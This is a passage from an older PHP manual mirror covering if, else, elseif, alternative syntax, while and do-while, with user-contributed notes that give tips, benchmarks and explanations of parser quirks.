echo "cake is a lie";
}
//this will ALWAYS fail without exception because '!' is applied to $string1 and not to '$string1==$string2'

//to work, you have to do like this
if(!($string1==$string2))
{
echo "cake is a lie";
}
//it will display 'cake is a lie' because ($string1==$string2) return FALSE and '!' will invert it into TRUE
?>
For array/float, it's the same !
contact at bsorin dot romania 07-Mar-2009 08:28
This has got the better part of my last 2 hours, so I'm putting it here, maybe it will save someone some time.

I had a

if (function1() && function2())

statement. Before returning true or false, function1() and function2() had to output some text. The trick is that, if function1() returns false, function2() is not called at all. It seems I should have known that, but it slipped my mind.
Anonymous 28-Sep-2008 05:03
Re : henryk dot kwak at gmail dot com
<?php function message($m)
{
echo "$m <br />\r";
return true;
}
$k=false;
if (message("first")&& $k && message("second")){;}
// will show
//first
class
$k=true;
if (message("first")&& $k && message("second")){;}
// will show
//first
//second
?>
john 24-Sep-2008 08:24
@henryk (and everybody):

You should put your arguments in order by *least* likely to be true. That way if php is going to be able to quit checking, it will happen sooner rather than later, and your script will run (what amounts to unnoticeably) faster.

At least, that makes the most sense to me, but I don't claim omniscience.
Wiseguy 28-Aug-2008 07:22
RE: chrislabricole at yahoo dot fr on 09-Aug-2008 05:53

You're referring to the ternary operator.

http://php.net/manual/en/language.operators.comparison.php
jchau at bu dot edu 14-Aug-2008 10:50
RE: henryk dot kwak at gmail dot com's comment from 04-May-2008 05:01

I think you made a mistake.

For maximum efficiency, assuming each expression requires the same amount of processing, the expression that is least likely to be true should come first for expressions connected by && (and).  This will reduce the probability that later expressions will need to be evaluated.

The opposite is true for || (or).  If the most likely expression comes first, then the probability of needing to evaluate later expressions is reduced.
chrislabricole at yahoo dot fr 09-Aug-2008 05:53
You can do IF with this pattern :
<?php
$var = TRUE;
echo $var==TRUE ? 'TRUE' : 'FALSE'; // get TRUE
echo $var==FALSE ? 'TRUE' : 'FALSE'; // get FALSE
?>
henryk dot kwak at gmail dot com 04-May-2008 05:01
When you use if command with many condidions like
if ( expr1 && expr2 && expr3 && etc. )
it is more effective to put expressions in special order
Firstly you should put that, which has the biggest
probability to occur.
This is because PHP checks each condition in order from left to right and it takes some time to check each condition.
grawity at gmail dot com 10-Mar-2008 03:41
re: #80305

Again useful for newbies:

if you need to compare a variable with a value, instead of doing

<?php
if ($foo == 3) bar();
?>

do

<?php
if (3 == $foo) bar();
?>

this way, if you forget a =, it will become

<?php
if (3 = $foo) bar();
?>

and PHP will report an error.
redrobinuk at aol dot com 09-Jan-2008 02:54
This is aimed at PHP beginners but many of us do this  Ocasionally...

When writing an if statement that compares two values, remember not to use a single = statement.

eg:
<?php
if ($a = $b)
     {
         print("something");
     }
?>
This will assign $a the value $b and output the statement.

To see if $a is exactly equal to $b (value not type) It should be:
<?php
     if ($a == $b)
     {
         print("something");
     }
?>
Simple stuff but it can cause havok deep in classes/functions etc...
Introduction
else
Control Structures


else

(PHP 4, PHP5)

Often you'd want to execute a statement if a certain condition is met, and a different statement if the condition is not met. This is what else is for. else extends an if statement to execute a statement in case the expression in the if statement evaluates to FALSE. For example, the following code would display a is greater than b if $a is greater than $b, and a is NOT greater than b otherwise:

<?php
if ($a > $b) {
  echo "a is greater than b";
} else {
  echo "a is NOT greater than b";
}
?>
The else statement is only executed if the if expression evaluated to FALSE, and if there were any elseif expressions - only if they evaluated to FALSE as well (see elseif).

User Contributed Notes

php at keith tyler dot com 05-Jul-2011 10:52
This is valid syntax:

<?php
if ($a) print "a is true";
else print "a is false";
?>

A holdover from the bash-style compatibility in older PHP versions, perhaps.
smoldar at gmail dot com 28-Oct-2010 07:21
You can use the if to make a Yes/No field, verify if the statement is real or not and show the correct option checked.

<?php if($variable == 'S') {?>
<input name="blah" type="radio" value="Y" checked="checked"> Yes
<input name="blah" type="radio" value="N"> No
<?php } else {?>
<input name="blah" type="radio" value="Y"> Yes
<input name="blah" type="radio" value="N" checked="checked"> No
<?php }?>
Larry H-C 17-Aug-2009 10:08
When you escape out of HTML, you can get an UNEXPECTED T_ELSE error with the following:

Error:

<? if( $condition ) {
        dosomething;
   }
?>

<? else {
       dosomethingelse;
   }
?>

Correct:

<? if( $condition ) {
       dosomething;
?>

<? } else {
       dosomethingelse;
   }
?>

Apparently the compiler thinks a ?> <? breaks the connection between the } and the else
Theoden 24-Apr-2008 05:42
At Caliban Darklock

I don't know if it is just improvements in the parser, but there is a negligible difference in the performance of "elseif" vs "else if" as of version 5. One thousandth of a second in your example and 8 thousandths if the eval statement is repeated 5 times.
If the constructs are in regular code, then there appears to be no difference. This leads me to believe that the difference in the eval code is from there being an extra parser token.

Also the main performance burden of recursive functions is the stack operations of changing the context. In this case I believe that it would parse to very similar (if not identical) jmp controls.

In summary, use your preference. Readability and maintainability rank far higher on the priority scale.

One Additional note, there appears to be a limit of the number of "else if" statements (perhaps nested statements in general) that php will handle before starting to get screwy. This limit is about 1100. "elseif" is not affected by this.
dormeydo at gmail dot com 12-Apr-2008 04:51
An alternative and very useful syntax is the following one:

statement ? execute if true : execute if false

Ths is very usefull for dynamic outout inside strings, for example:

print('$a is ' . ($a > $b ? 'bigger than' : ($a == $b ? 'equal to' : 'smaler than' )) .  '  $b');

This will print "$a is smaler than $b" is $b is bigger than $a, "$a is bigger than $b" if $a si bigger and "$a is equal to $b" if they are same.
mitch at mitchellbeaumont dot com 24-Jul-2007 12:09
At gwmpro at yahoo dot com

The curly brace is not required however, for readability and maintenance, many developers would consider it bad style not to include them.
Caliban Darklock 08-Nov-2004 11:24
If you're coming from another language that does not have the "elseif" construct (e.g. C++), it's important to recognise that "else if" is a nested language construct and "elseif" is a linear language construct; they may be compared in performance to a recursive loop as opposed to an iterative loop.

<?php
$limit=1000;
for($idx=0;$idx<$limit;$idx++)
{ $list[]="if(false) echo \"$idx;\n\"; else"; }
$list[]=" echo \"$idx\n\";";
$space=implode(" ",$list);| // if ... else if ... else
$nospace=implode("",$list); // if ... elseif ... else
$start=array_sum(explode(" ",microtime()));
eval($space);
$end=array_sum(explode(" ",microtime()));
echo $end-$start . " seconds\n";
$start=array_sum(explode(" ",microtime()));
eval($nospace);
$end=array_sum(explode(" ",microtime()));
echo $end-$start . " seconds\n";
?>

This test should show that "elseif" executes in roughly two-thirds the time of "else if". (Increasing $limit will also eventually cause a parser stack overflow error, but the level where this happens is ridiculous in real world terms. Nobody normally nests if() blocks to more than a thousand levels unless they're trying to break things, which is a whole different problem.)

There is still a need for "else if", as you may have additional code to be executed unconditionally at some rung of the ladder; an "else if" construction allows this unconditional code to be elegantly inserted before or after the entire rest of the process. Consider the following elseif() ladder:

<?php
if($a) { conditional1(); }
elseif($b) { conditional2(); }
elseif($c) { conditional3(); }
elseif($d) { conditional4(); }
elseif($e) { conditional5(); }
elseif($f) { conditional6(); }
elseif($g) { conditional7(); }
elseif($h) { conditional8(); }
else { conditional9(); }
?>

To insert unconditional preprocessing code for $e onward, one need only split the "elseif":

<?php
if($a) { conditional1(); }
elseif($b) { conditional2(); }
elseif($c) { conditional3(); }
elseif($d) { conditional4(); }
else {
....unconditional();
....if($e) { conditional5(); }
....elseif($f) { conditional6(); }
....elseif($g) { conditional7(); }
....elseif($h) { conditional8(); }
....else { conditional9(); }
}
?>

The alternative is to duplicate the unconditional code throughout the construct.
if
elseif/else if
Control Structures


elseif/else if

(PHP 4, PHP5)

elseif, as its name suggests, is a combination of if and else. Like else, it extends an if statement to execute a different statement in case the original if expression evaluates to FALSE. However, unlike else, it will execute that alternative expression only if the elseif conditional expression evaluates to TRUE. For example, the following code would display a is bigger than b, a equal to b or a is smaller than b:

<?php
if ($a > $b) {
    echo "a is bigger than b";
} elseif ($a == $b) {
    echo "a is equal to b";
} else {
    echo "a is smaller than b";
}
?>

There may be several elseifs within the same if statement. The first elseif expression (if any) that evaluates to TRUE would be executed. In PHP, you can also write 'else if' (in two words) and the behavior would be identical to the one of 'elseif' (in a single word). The syntactic meaning is slightly different (if you're familiar with C, this is the same behavior) but the bottom line is that both would result in exactly the same behavior.

The elseif statement is only executed if the preceding if expression and any preceding elseif expressions evaluated to FALSE, and the current elseif expression evaluated to TRUE.

Note: Note that elseif and else if will only be considered exactly the same when using curly brackets as in the above example. When using a colon to define your if/elseif conditions, you must not separate else if into two words, or PHP will fail with a parse error.

<?php

/* Incorrect Method: */
if($a > $b):
    echo $a." is greater than ".$b;
else if($a == $b): // Will not compile.
    echo "The above line causes a parse error.";
endif;

/* Correct Method: */
if($a > $b):
    echo $a." is greater than ".$b;
elseif($a == $b): // Note the combination of the words.
    echo $a." equals ".$b;
else:
    echo $a." is neither greater than or equal to ".$b;
endif;

?>

User Contributed Notes

Rudi 14-Sep-2010 01:15
Note that } elseif() { is somewhat faster than } else if() {

===================================
Test (100,000,000 runs):
<?php
$start = microtime(true);
for($i = 0; $i < 100000000; $i++) {
    if(2 === 0) {} else if(2 === 1) {} else {}
}
$end = microtime(true);
echo "1: ".($end - $start)."\n";
unset($start, $end);

$start = microtime(true);
for($i = 0; $i < 100000000; $i++) {
    if(2 === 0) {} elseif(2 === 1) {} else {}
}
$end = microtime(true);
echo "2: ".($end - $start);
?>

===================================
Result (depending on hardware configuration):
1: 20.026723146439
2: 20.20437502861
31-Jan-2007 02:54
There is no good way to interpret the dangling else.  One must pick a way and apply rules based on that.

Since there is no endif before an else, there is no easy way for PHP to know what you mean.
Vladimir Kornea 27-Dec-2006 09:59
The parser doesn't handle mixing alternative if syntaxes as reasonably as possible.

The following is illegal (as it should be):

<?
if($a):
    echo $a;
else {
    echo $c;
}
?>

This is also illegal (as it should be):

<?
if($a) {
    echo $a;
}
else:
    echo $c;
endif;
?>

But since the two alternative if syntaxes are not interchangeable, it's reasonable to expect that the parser wouldn't try matching else statements using one style to if statement using the alternative style. In other words, one would expect that this would work:

<?
if($a):
    echo $a;
    if($b) {
      echo $b;
    }
else:
    echo $c;
endif;
?>

Instead of concluding that the else statement was intended to match the if($b) statement (and erroring out), the parser could match the else statement to the if($a) statement, which shares its syntax.

While it's understandable that the PHP developers don't consider this a bug, or don't consider it a bug worth their time, jsimlo was right to point out that mixing alternative if syntaxes might lead to unexpected results.
else
Alternative syntax for control structures
Control Structures


Alternative syntax for control structures

(PHP 4, PHP5)

PHP offers an alternative syntax for some of its control structures; namely, if, while, for, foreach, and switch. In each case, the basic form of the alternate syntax is to change the opening brace to a colon (:) and the closing brace to endif;, endwhile;, endfor;, endforeach;, or endswitch;, respectively.

<?php if ($a == 5): ?>
A is equal to 5
<?php endif; ?>

In the above example, the HTML block "A is equal to 5" is nested within an if statement written in the alternative syntax. The HTML block would be displayed only if $a is equal to 5.

The alternative syntax applies to else and elseif as well. The following is an if structure with elseif and else in the alternative format:

<?php
if ($a == 5):
    echo "a equals 5";
    echo "...";
elseif ($a == 6):
    echo "a equals 6";
    echo "!!!";
else:
    echo "a is neither 5 nor 6";
endif;
?>

Note:

Mixing syntaxes in the same control block is not supported.

See also while, for, and if for further examples.

User Contributed Notes

temec987 at gmail dot com 02-Oct-2011 07:00
A simple alternative to an if statement, which is almost like a ternary operator, is the use of AND. Consider the following:

<?php
     $value = 'Jesus';

     // This is a simple if statement
     if( isset( $value ) )
     {
          print $value;
     }

     print '<br />';

     // This is an alternative
     isset( $value ) AND print( $value );
?>

This does not work with echo() for some reason. I find this extremely useful!
dmgx dot michael at gmail dot com 19-Jul-2010 08:42
If you follow MVC design pattern then only your view files should have HTML in them to begin with.  Using the braceless syntax in these files only further separates them thematically from the rest of the code.

The major advantage of braceless syntax is that braces get lost while jumping into and out of php mode, especially if you use php short tags (which contrary to what is stated elsewhere, if you are using htaccess to deploy mod_rewrite in your application it is safe to use short tags in your application.  The server admins CANNOT deny short tags to you while simultaneously granting mod_rewrite (and why they would even try is beyond me).

Another thing I've noted in the examples above - it is safe to omit the ending semicolon prior to a script close tag, and it's slightly easier to read. <? endforeach ?> than <?php endforeach; ?>
ej at iconcept dot fo 28-May-2009 05:30
if statement in 1 line
<?php
$hour = 11;

print $foo = ($hour < 12) ? "Good morning!" : "Good afternoon!";

?>
return Good morning!
flyingmana 26-Mar-2009 01:43
It seems to me, that many people think that

<?php if ($a == 5): ?>
A ist gleich 5
<?php endif; ?>

is only with alternate syntax possible, but

<?php if ($a == 5){ ?>
A ist gleich 5
<?php }; ?>

is also possible.

alternate syntax makes the code only clearer and easyer to read
SM 03-Feb-2009 05:12
The control structure should be like in BASIC languages:
<?php
if ($a == 12):
  echo "a is 12\n";
end if;

while (true):
  echo "loop loop loop\n";
end while;
?>

or just use end operator like in Ruby
<?php
if ($a == 12):
  echo "a is 12\n";
end;

while (true):
  echo "loop loop loop\n";
end;
?>
mido_alone2001 at yahoo dot com 07-Nov-2008 06:05
Hello , when you going to make a script , you must try easist way to do and fastest way to parse ..
using alternative-syntax is very useful to shorten your code
e.g :
If you want to do:

<?php
    $a=1 ;
if ($a==1) {
     echo "<table border=1><tr><td>$a is equal to one    </td></tr></table> " ;
}
?>

You can do it using alternative-syntax as following :

<?php
    $a=1 ;
if ($a==1) :?>
<table border=1><tr><td><?echo $a ;?> &nbsp;is equal to one </td></tr></table>
<?php endif ; ?>

So the HTML code Won't excuted until the condition is true

[EDIT BY danbrown AT php DOT net: Contains a bug fix provided by (gmdebby AT gmail DOT com).]
jeremia at gmx dot at 28-Jan-2008 06:52
If you wan't to use the alternative syntax for switch statements this won't work:

<div>
<?php switch($variable): ?>
<?php case 1: ?>
<div>
Newspage
</div>
<?php break;?>
<?php case 2: ?>
</div>
Forum
<div>
<?php break;?>
<?php endswitch;?>
</div>

Instead you have to workaround like this:

<div>
<?php switch($variable):
case 1: ?>
<div>
Newspage
</div>
<?php break;?>
<?php case 2: ?>
</div>
Forum
<div>
<?php break;?>
<?php endswitch;?>
</div>
spa 16-Oct-2007 04:40
[EDITOR'S NOTE: reference to deleted note removed]

The end_; structure sometimes makes it easier to tell which block statement end you are looking at.  It's much harder to tell which nested block a } belongs to than an end_;
skippy at zuavra dot net 27-Jun-2005 04:32
If it needs saying, this alternative syntax is excellent for improving legibility (for both PHP and HTML!) in situations where you have a mix of them.

Interface templates are very often in need of this, especially since the PHP code in them is usually written by one person (who is more of a programmer) and the HTML gets modified by another person (who is more of a web designer). Clear separation in such cases is extremely useful.

See the default templates that come with WordPress 1.5+ (www.wordpress.org) for practical and smart examples of this alternative syntax.
elseif/else if
while
Control Structures


while

(PHP 4, PHP5)

while loops are the simplest type of loop in PHP. They behave just like their C counterparts. The basic form of a while statement is:

while (expr)
    statement

The meaning of a while statement is simple. It tells PHP to execute the nested statement(s) repeatedly, as long as the while expression evaluates to TRUE. The value of the expression is checked each time at the beginning of the loop, so even if this value changes during the execution of the nested statement(s), execution will not stop until the end of the iteration (each time PHP runs the statements in the loop is one iteration). Sometimes, if the while expression evaluates to FALSE from the very beginning, the nested statement(s) won't even be run once.

Like with the if statement, you can group multiple statements within the same while loop by surrounding a group of statements with curly braces, or by using the alternate syntax:

while (expr):
    statement
    ...
endwhile;

The following examples are identical, and both print the numbers 1 through 10:

<?php
/* example 1 */

$i = 1;
while ($i <= 10) {
    echo $i++;  /* the printed value would be
                   $i before the increment
                   (post-increment) */
}

/* example 2 */

$i = 1;
while ($i <= 10):
    echo $i;
    $i++;
endwhile;
?>

User Contributed Notes

ravenswd at gmail dot com 06-Mar-2010 07:34
I find it often clearer to set a simple flag ($finished) to false at the start of the loop, and have the program set it to true when it's finished doing whatever it's trying to do. Then the code is more self-documenting: WHILE NOT FINISHED keep going through the loop. FINISHED EQUALS TRUE when you're done. Here's an example. This is the code I use to generate a random filename and ensure that there is not already an existing file with the same name. I've added very verbose comments to it to make it clear how it works:

<?php
$finaldir = 'download';

$finished = false;                       // we're not finished yet (we just started)
while ( ! $finished ):                   // while not finished
  $rn = rand();                          // random number
  $outfile = $finaldir.'/'.$rn.'.gif';   // output file name
  if ( ! file_exists($outfile) ):        // if file DOES NOT exist...
    $finished = true;                    // ...we are finished
  endif;
endwhile;                                // (if not finished, re-start WHILE loop)
?>
scott at mstech dot com 06-Oct-2009 02:48
Just a note about using the continue statement to forego the remainder of a loop - be SURE you're not issuing the continue statement from within a SWITCH case - doing so will not continue the while loop, but rather the switch statement itself.

While that may seem obvious to some, it took a little bit of testing for me, so hopefully this helps someone else.
s dot seitz at netz-haut dot de 24-Jun-2008 08:21
Due to the fact that php only interprets the necessary elements to get a result, I found it convenient to concatenate different sql queries into one statement:

<?php

$q1 = 'some query on a set of tables';
$q2 = 'similar query on a another set of tables';

if ( ($r1=mysql_query($q1)) && ($r2=mysql_query($q2)) ) {

     while (($row=mysql_fetch_assoc($r1))||($row=mysql_fetch_assoc($r2))) {

         /* do something with $row coming from $r1 and $r2 */

      }
   }

?>

[EDIT BY danbrown AT php DOT net: Contains a bugfix supplied by "Ira" on 14-AUG-09 to address an extra '(' in the leading `if` statement.]
dominik at deobald dot org 23-Feb-2007 08:50
@stuart:

There's nothing strange or unexpected about your loop's behaviour.

> So in effect the main while loop is only doing one iteration... and not 4 as expected....

That's the wrong conclusion. The outer "while" does all four iterations. However the "inner" loop does nothing for the second, third and fourth run.

> I think it would be good to have an explaination of this strange behaviour.

Here it is:

<?PHP
$i=0;
while($i < count($one)) {

   while($a = each($two)) {
       echo $a[1]." - ".$one[$i].", ";
   }
   $i++;

}
?>

The "problem" is your use of "each", which reached the last item after the first iteration of the outer loop. After that, when you come back to the second iteration with the outer loop, "each" still is at the end of the array $two.

If you add a reset($two) in front of the inner "while", you'll get the result you expect.
startide at free dot fr 27-Apr-2006 08:08
Talking about while, dropdown menus, and ternary operator which was mentionned before, you can combine them to have drop menu built with a value selected according to your wishses.

<select name="whatever">
<?php
while ($data = mysql_fetch_assoc($requeteID))
{
  $menu .= '<option value="'.$data['id'].'"';
  $menu .= ($data['id'] == $_GET['id'] ? ' selected>' :'>');
  $menu .= $data['name'].'</option>';
}
echo $menu;
?>
</select>

Therefore if you are creating a form to select data from database, and want the form displayed when search is done to show what parameters have been chosen that will do the trick !!

Let's say I make a search between different sports, I choose football in my form, send my query... then displays are show, the menu will have football selected because of the ternary operator that displays "selected>" on the <option> ;) Enjoy ^^
sub7ime at yahoo dot com 04-Apr-2006 12:00
I was reading the excellent post by wbryson at gmail dot com and I wanted to just add that the ? : syntax is known as the 'ternary operator' for those who want to learn more about it.
chris mushy 11-May-2005 06:43
Just a note to stuart - the reason for this behaviour is because using the while(value = each(array)) construct increments the internal counter of the array as its looped through. Therefore if you intend to repeat the loop, you need to reset the counter. eg:

$one = array("10", "20", "30", "40");
$two = array("a", "b", "c", "d");

$i=0;
while($i < count($one)) {
   reset($two);
   while($a = each($two)) {
       echo $a[1]." - ".$one[$i].", ";
   }
   $i++;

}

This produces:

a - 10, b - 10, c - 10, d - 10, a - 20, b - 20, c - 20, d - 20, a - 30, b - 30, c - 30, d - 30, a - 40, b - 40, c - 40, d - 40,
stuart 11-May-2005 02:06
A note to anyone nesting a while loop inside a while loop....

Consider the example below:

$one = array("10", "20", "30", "40");
$two = array("a", "b", "c", "d");

$i=0;
while($i < count($one)) {

    while($a = each($two)) {
        echo $a[1]." - ".$one[$i].", ";
    }
    $i++;

}

This will return the following:
a - 10, b - 10, c - 10, d - 10

So in effect the main while loop is only doing one iteration... and not 4 as expected....

Now the example below works as expected..
$i=0;
while($i < count($one)) {

    foreach($two as $a) {
        echo $a." - ".$one[$i]."\n";
    }
    $i++;

}

by returning:
a - 10, b - 10, c - 10, d - 10, a - 20, b - 20, c - 20, d - 20, a - 30, b - 30, c - 30, d - 30, a - 40, b - 40, c - 40, d - 40

So there is clearly a difference on how while statements work in comparison to other looping structures.

I think it would be good to have an explaination of this strange behaviour.
13-Mar-2005 09:54
virtualjosh at yahoo dot com (Hosh) wrote on: 16-Aug-2003 12:52

The speedtest is interesting. But the seemingly fastest way contains a pitfall for beginners who just use it because it is fast and fast is cool ;)

Walking through an array with next() will cut of the first entry, as this is the way next() works ;)

If you really need to do it this way, make sure your array contains an empty entry at the beginning. Another way would be to use

<?php
while ($this = current($array) ){
    do_something($this);
    next($array);
}
?>

There is an impact on speed for sure but I did not test it. I would advise to stick with conventional methods because current(),next() in while loops is too error prone for me.
Ilene Jones 21-Feb-2005 01:12
For Perl programmers, break is similar to last

while (1) {
   while(cond) {
       if (error) {
           break 2; // in perl this could have been last;
       }
   }
}
corychristison[AT]NSPAMlavacube[dot]com 03-Dec-2004 03:08
While can do wonders if you need something to queue writing to a file while something else has access to it.

Here is my simple example:

<?php

  function write ($data, $file, $write_mode="w") {
    $lock = $file . ".lock";
     // run the write fix, to stop any clashes that may occur
    write_fix($lock);
     // create a new lock file after write_fix() for this writing session
    touch( $lock );
     // write to your file
    $open = fopen($file, $write_mode);
    fwrite($open, $data);
    fclose($open);
     // kill your current lock
    unlink($lock);
  }

  function write_fix ($lock_file) {
    while( file_exists($lock_file){
      // do something in here?
      // maybe sleep for a few microseconds
      // to maintain stability, if this is going to
      // take a while ?? [just a suggestion]
    }
  }

?>

This method is not recommended for use with programs that will be needing a good few seconds to write to a file, as the while function will eat up alot of process cycles.  However, this method does work, and is easy to implement.  It also groups the writing functions into one easy to use function, making life easier. :-)
virtualjosh at yahoo dot com (Hosh) 15-Aug-2003 03:52
I made a test traversing an array (simple, but long, numeric array with numeric keys). My test had a cycle per method, and multiplied each array element by 100.. These were my results:

******************************************************
30870 Element Array Traversing

[test_time] [BEGINS/RESETS @ time_start = 1060977996.689]
0.2373 seg later -> while (list ($key, $val) = each ($array)) ENDS

[test_time] [BEGINS/RESETS @ time_start = 1060977996.9414]
0.1916 seg later -> while (list ($key,) = each ($array))  ENDS

[test_time] [BEGINS/RESETS @ time_start = 1060977997.1513]
0.1714 seg later -> foreach ($array AS $key=>$value) ENDS

[test_time] [BEGINS/RESETS @ time_start = 1060977997.3378]
0.0255 seg later -> while ($next = next($array)) ENDS

[test_time] [BEGINS/RESETS @ time_start = 1060977997.3771]
0.1735 seg later -> foreach ($array AS $value) ENDS
**************************************************************

foreach is fatser than a while (list  - each), true.
However, a while(next) was faster than foreach.

These were the winning codes:

$array = $save;
test_time("",1);
foreach ($array AS $key=>$value)
    $array[$key] = $array[$key] * 100;
test_time("foreach (\$array AS \$key=>\$value)");

$array = $save;
test_time("",1);
reset($array);
while ($next = next($array))
{    $key = key($array);
    $array[$key] = $array[$key] * 100;
}
test_time("while (\$next = next(\$array))");
*********************************************************
The improvement seems huge, but it isnt that dramatic in real practice. Results varied... I have a very long bidimensional array, and saw no more than a 2 sec diference, but on 140+ second scripts.  Notice though that you lose control of the $key  value (unless you have numeric keys, which I tend to avoid), but it is not always necessary.

I generally stick to foreach. However, this time, I was getting Allowed Memory Size Exceeded errors with Apache. Remember foreach copies the original array, so this now makes two huge 2D arrays in memory and alot of work for Apache. If you are getting this error, check your loops. Dont use the whole array on a foreach. Instead get the keys and acces the cells directlly. Also, try and use unset and Referencing on the huge arrays.

Working on your array and loops is a much better workaround than saving to temporary tables and unsetting (much slower).
Merve 10-Jul-2003 09:49
This is an easy way for all you calculator creators to make it do factorials. The code is this:

<?php
$c = ($a-1);
$d = $a;
while ($c>=1)
{
$a = ($a*$c);
$c--;
}
print (" $d! = $a");
?>

$a changes, and so does c, so we have to make a new variable, $d, for the end statement.
bens at effortlessis dot com 25-Jun-2003 05:32
I recently did a performance analysis, comparing while() and foreach() when traversing an array.

Foreach() is nearly 2x faster - an effect most notable when traversing large, multi-dimensional arrays.

Here's my code:
<?

for ($i=0; $i<10000; $i++)
        $a[$i]=$i*2;

echo "list time: \n".$start=mktime()."\n";
for ($i=0; $i<1000; $i++)
        {
        reset($a);
        while(list($k, $v)=each($a))
                {
                echo "";
                }
        }
echo ($finish=mktime())."\n";
$result=$finish-$start;
echo "Result: $result seconds\n\n";

echo "for time: \n".$start=mktime()."\n";
for ($i=0; $i<1000; $i++)
        {
        foreach($a as $k => $v)
                {
                echo "";
                }
        }
echo ($finish=mktime())."\n";
$result=$finish-$start;
echo "Result: $result seconds\n\n";
?>

And here's the results on an 1800+ Athlon:
list time:
1056579474
1056579512
Result: 38 seconds

fore time:
1056579512
1056579533
Result: 21 seconds
chayes at antenna dot nl 26-Feb-2002 02:42
At the end of the while (list / each) loop the array pointer will be at the end.
This means the second while loop on that array will be skipped!

You can put the array pointer back with the reset($myArray) function.

example:

<?php
$myArray=array('aa','bb','cc','dd');
 while (list ($key, $val) = each ($myArray) ) echo $val;
reset($myArray);
 while (list ($key, $val) = each ($myArray) ) echo $val;
?>
moriarty at all-ears dot co dot uk 13-Feb-2002 12:58
If you want to skip an iteration of a while loop, you can use continue.

This will result in the rest of the present iteration being skipped, and it will go back to the start of the loop for the next iteration.

Moriarty
yohgaki at hotmail dot com 01-Apr-2001 01:09
If you want to traverse array, foreach() is faster than while() a little.
[Benched with PHP4.0.4pl1/Apache DSO/Linux]

i.e.
foreach ($array as $k => $v)
is a little faster than
while (list($k,$v) = each($array))

You might want to use foreach for large arrays.
Alternative syntax for control structures
do-while
Control Structures


do-while

(PHP 4, PHP5)

do-while loops are very similar to while loops, except the truth expression is checked at the end of each iteration instead of in the beginning. The main difference from regular while loops is that the first iteration of a do-while loop is guaranteed to run (the truth expression is only checked at the end of the iteration), whereas it may not necessarily run with a regular while loop (the truth expression is checked at the beginning of each iteration, if it evaluates to FALSE right from the beginning, the loop execution would end immediately).

There is just one syntax for do-while loops:

<?php
$i = 0;
do {
    echo $i;
} while ($i > 0);
?>

The above loop would run one time exactly, since after the first iteration, when truth expression is checked, it evaluates to FALSE ($i is not bigger than 0) and the loop execution ends.

Advanced C users may be familiar with a different usage of the do-while loop, to allow stopping execution in the middle of code blocks, by encapsulating them with do-while (0), and using the break statement. The following code fragment demonstrates this:

<?php
do {
    if ($i < 5) {
        echo "i is not big enough";
        break;
    }
    $i *= $factor;
    if ($i < $minimum_limit) {
        break;
    }
   echo "i is ok";

    /* process i */

} while (0);
?>

Don't worry if you don't understand this right away or at all. You can code scripts and even powerful scripts without using this 'feature'. Since PHP 5.3.0, it is possible to use goto operator instead of this hack.

User Contributed Notes

david dot schueler at tel-billig dot de 18-Mar-2011 05:12
If you are trying to use a construct like this:
<?php
do {
    // some code to run only one more time if expression is true
    if ($your_expression == true)
        continue;
} while (false);
?>
It will NOT loop as expected, because the continue tries to run the "next" loop, but the expression says just "false" so there is no next loop. The continue exits the while loop.
To get around this you may use an other expression, like this
<?php
do {
    // some code to run only one more time if expression is true
    if ($your_expression == true)
        continue;
    break;
} while (true);
?>
or use the goto statement since PHP 5.3.
xiaomao5 at live dot com 13-Mar-2011 07:48
Another hack
If you want $type to only have a value of 0 or 1, you can do this:

<?php
do {
    echo 'Choose a type, 0 or 1: ';
    $type = trim(fgets(STDIN));
    if ($type == 0) {
        /* do stuff */
    } elseif ($type == 1) {
        /* do stuff */
    }
} while ($type != 0 && $type != 1);
?>
shaida dot mca at gmail dot com 18-Aug-2010 11:01
Example of Do while :-

<?php
$i = 0;
echo 'This code will run at least once because i default value is 0.<br/>';
do {
echo 'i value is ' . $i . ', so code block will run. <br/>';
++$i;
} while ($i < 10);
?>
andrew at NOSPAM dot devohive dot com 15-Sep-2008 10:44
I'm guilty of writing constructs without curly braces sometimes... writing the do--while seemed a bit odd without the curly braces ({ and }), but just so everyone is aware of how this is written with a do--while...

a normal while:
<?php
   while ( $isValid ) $isValid = doSomething($input);
?>

a do--while:
<?php
   do $isValid = doSomething($input);
   while ( $isValid );
?>

Also, a practical example of when to use a do--while when a simple while just won't do (lol)... copying multiple 2nd level nodes from one document to another using the DOM XML extension

<?php
   # open up/create the documents and grab the root element
   $fileDoc  = domxml_open_file('example.xml'); // existing xml we want to copy
   $fileRoot = $fileDoc->document_element();
   $newDoc   = domxml_new_doc('1.0'); // new document we want to copy to
   $newRoot  = $newDoc->create_element('rootnode');
   $newRoot  = $newDoc->append_child($newRoot); // this is the node we want to copy to

   # loop through nodes and clone (using deep)
   $child = $fileRoot->first_child(); // first_child must be called once and can only be called once
   do $newRoot->append_child($child->clone_node(true)); // do first, so that the result from first_child is appended
   while ( $child = $child->next_sibling() ); // we have to use next_sibling for everything after first_child
?>
Ryan 17-Apr-2008 10:59
I've found that the most useful thing to use do-while loops for is multiple checks of file existence. The guaranteed iteration means that it will check through at least once, which I had trouble with using a simple "while" loop because it never incremented at the end.

My code was:

<?php
$filename = explode(".", $_FILES['file']['name']); // File being uploaded
$i=0; // Number of times processed (number to add at the end of the filename)
do {
  /* Since most files being uploaded don't end with a number,
      we have to make sure that there is a number at the end
      of the filename before we start simply incrementing. I
      admit there is probably an easier way to do this, but this
      was a quick slap-together job for a friend, and I find it
      works just fine. So, the first part "if($i > 0) ..." says that
      if the loop has already been run at least once, then there
      is now a number at the end of the filename and we can
      simply increment that. Otherwise, we have to place a
      number at the end of the filename, which is where $i
      comes in even handier */

  if($i > 0) $filename[0]++;
  else $filename[0] = $filename[0].$i;
  $i++;
} while(file_exists("uploaded/".$filename[0].".".$filename[1]));

/* Now that everything is uploaded, we should move it
    somewhere it can be accessed. Hence, the "uploaded"
    folder. */
move_uploaded_file($_FILES['file']['tmp_name'], "uploaded/".$filename[0].".".$filename[1]);
?>

I'm sure there are plenty of ways of doing this without using the do-while loop, but I managed to toss this one together in no-time flat, and I'm not a great PHP programmer. =) It's simple and effective, and I personally think it works better than any "for" or "while" loop that I've seen that does the same thing.
jantsch at gmail dot com 28-Nov-2007 05:56
Useful when you want to continue to read a recordset that was already being read like in:

<?
$sql = "select * from customers";
$res = mysql_query( $sql );

// read the first record
if( $rs = mysql_fetch_row( $res ) ){
   // do something with this record

}

// do another stuff here

// keep reading till the end
if( mysql_num_rows( $res )>1 ){
   do{
      // processing the records till the end

   }while( $rs = mysql_fetch_row( $res ));

}

?>
jayreardon at gmail dot com 10-Apr-2007 03:36
